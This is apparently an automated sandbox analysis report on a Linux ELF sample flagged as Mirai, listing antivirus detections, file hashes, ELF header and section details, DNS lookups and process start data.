      Source: Yara matchFile source: Federalx86Agent.elf, type: SAMPLE
      Source: Yara matchFile source: 5476.1.0000000000400000.0000000000414000.r-x.sdmp, type: MEMORY
      Source: Yara matchFile source: Process Memory Space: Federalx86Agent.elf PID: 5476, type: MEMORYSTR
      ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
      Gather Victim Identity InformationAcquire InfrastructureValid AccountsWindows Management InstrumentationPath InterceptionPath InterceptionDirect Volume AccessOS Credential DumpingSystem Service DiscoveryRemote ServicesData from Local System1
      Non-Application Layer Protocol
      Exfiltration Over Other Network MediumAbuse Accessibility Features
      CredentialsDomainsDefault AccountsScheduled Task/JobBoot or Logon Initialization ScriptsBoot or Logon Initialization ScriptsRootkitLSASS MemoryApplication Window DiscoveryRemote Desktop ProtocolData from Removable Media1
      Application Layer Protocol
      Exfiltration Over BluetoothNetwork Denial of Service
      No configs have been found
      Hide Legend

      Legend:

      • Process
      • Signature
      • Created File
      • DNS/IP Info
      • Is Dropped
      • Number of created Files
      • Is malicious
      • Internet
      behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1642446 Sample: Federalx86Agent.elf Startdate: 19/03/2025 Architecture: LINUX Score: 72 8 daisy.ubuntu.com 2->8 10 Malicious sample detected (through community Yara rule) 2->10 12 Antivirus / Scanner detection for submitted sample 2->12 14 Multi AV Scanner detection for submitted file 2->14 16 Yara detected Mirai 2->16 6 Federalx86Agent.elf 2->6         started        signatures3 process4

      This section contains all screenshots as thumbnails, including those not shown in the slideshow.


      windows-stand
      SourceDetectionScannerLabelLink
      Federalx86Agent.elf62%VirustotalBrowse
      Federalx86Agent.elf59%ReversingLabsLinux.Trojan.Mirai
      Federalx86Agent.elf100%AviraEXP/ELF.Mirai.Z.A
      No Antivirus matches
      No Antivirus matches
      No Antivirus matches

      Download Network PCAP: filteredfull

      NameIPActiveMaliciousAntivirus DetectionReputation
      daisy.ubuntu.com
      162.213.35.25
      truefalse
        high
        No contacted IP infos
        No context
        MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
        daisy.ubuntu.comFederali686Agent.elfGet hashmaliciousMiraiBrowse
        • 162.213.35.25
        Federalarm6Agent.elfGet hashmaliciousMiraiBrowse
        • 162.213.35.24
        Federalarm5Agent.elfGet hashmaliciousUnknownBrowse
        • 162.213.35.25
        aarch64.elfGet hashmaliciousUnknownBrowse
        • 162.213.35.25
        arm6.elfGet hashmaliciousUnknownBrowse
        • 162.213.35.25
        arm.elfGet hashmaliciousMiraiBrowse
        • 162.213.35.25
        ppc.elfGet hashmaliciousUnknownBrowse
        • 162.213.35.25
        No context
        No context
        No context
        No created / dropped files found
        File type:ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, stripped
        Entropy (8bit):6.333306504521722
        TrID:
        • ELF Executable and Linkable format (generic) (4004/1) 100.00%
        File name:Federalx86Agent.elf
        File size:83'248 bytes
        MD5:022ef84c697951a38f9e74307459a16b
        SHA1:cc6f42e865d5b8bd40b25bfa72f233697250e047
        SHA256:cb74de70fed42a5c09b3134fd795774fc799f71f7f603f752224eeadb5b42537
        SHA512:69bb73e6bba31b57561e84e5ab8f29aa0c832ff90ed945e2ac06ee625818c57808e50d416efd9b24e03de7dc977db3570148749ba20c231bdde1a0697edf68df
        SSDEEP:1536:jrXYZa2SzTVTTm0qTCIRch6/lH4qkMINJWDJwxvK0z08QIX6LqOf:nYZMzRTHqTCqMaIJ4wxQ8QIXcqO
        TLSH:2D833947F9C589FDC05AC174176EB93BE822F1FD0239B2A727D4FA252D4ED211E0A909
        File Content Preview:.ELF..............>.......@.....@........B..........@.8...@.......................@.......@......3.......3.......................3.......3Q......3Q.............................Q.td....................................................H...._....:...H........

        ELF header

        Class:ELF64
        Data:2's complement, little endian
        Version:1 (current)
        Machine:Advanced Micro Devices X86-64
        Version Number:0x1
        Type:EXEC (Executable file)
        OS/ABI:UNIX - System V
        ABI Version:0
        Entry Point Address:0x400194
        Flags:0x0
        ELF Header Size:64
        Program Header Offset:64
        Program Header Size:56
        Number of Program Headers:3
        Section Header Offset:82608
        Section Header Size:64
        Number of Section Headers:10
        Header String Table Index:9
        NameTypeAddressOffsetSizeEntSizeFlagsFlags DescriptionLinkInfoAlign
        NULL0x00x00x00x00x0000
        .initPROGBITS0x4000e80xe80x130x00x6AX001
        .textPROGBITS0x4001000x1000xfe660x00x6AX0016
        .finiPROGBITS0x40ff660xff660xe0x00x6AX001
        .rodataPROGBITS0x40ff800xff800x34100x00x2A0032
        .ctorsPROGBITS0x5133980x133980x100x00x3WA008
        .dtorsPROGBITS0x5133a80x133a80x100x00x3WA008
        .dataPROGBITS0x5133c00x133c00xeb00x00x3WA0032
        .bssNOBITS0x5142800x142700xaca80x00x3WA0032
        .shstrtabSTRTAB0x00x142700x3e0x00x0001
        TypeOffsetVirtual AddressPhysical AddressFile SizeMemory SizeEntropyFlagsFlags DescriptionAlignProg InterpreterSection Mappings
        LOAD0x00x4000000x4000000x133900x133906.45960x5R E0x100000.init .text .fini .rodata
        LOAD0x133980x5133980x5133980xed80xbb902.86110x6RW 0x100000.ctors .dtors .data .bss
        GNU_STACK0x00x00x00x00x00.00000x6RW 0x8

        Download Network PCAP: filteredfull

        TimestampSource PortDest PortSource IPDest IP
        Mar 19, 2025 03:34:48.686466932 CET5035253192.168.2.138.8.8.8
        Mar 19, 2025 03:34:48.686466932 CET5922053192.168.2.138.8.8.8
        Mar 19, 2025 03:34:48.692645073 CET53592208.8.8.8192.168.2.13
        Mar 19, 2025 03:34:48.693341970 CET53503528.8.8.8192.168.2.13
        TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
        Mar 19, 2025 03:34:48.686466932 CET192.168.2.138.8.8.80x1a8aStandard query (0)daisy.ubuntu.comA (IP address)IN (0x0001)false
        Mar 19, 2025 03:34:48.686466932 CET192.168.2.138.8.8.80x6791Standard query (0)daisy.ubuntu.com28IN (0x0001)false
        TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
        Mar 19, 2025 03:34:48.693341970 CET8.8.8.8192.168.2.130x1a8aNo error (0)daisy.ubuntu.com162.213.35.25A (IP address)IN (0x0001)false
        Mar 19, 2025 03:34:48.693341970 CET8.8.8.8192.168.2.130x1a8aNo error (0)daisy.ubuntu.com162.213.35.24A (IP address)IN (0x0001)false

        System Behavior

        Start time (UTC):02:34:39
        Start date (UTC):19/03/2025
        Path:/tmp/Federalx86Agent.elf
        Arguments:/tmp/Federalx86Agent.elf
        File size:83248 bytes
        MD5 hash:022ef84c697951a38f9e74307459a16b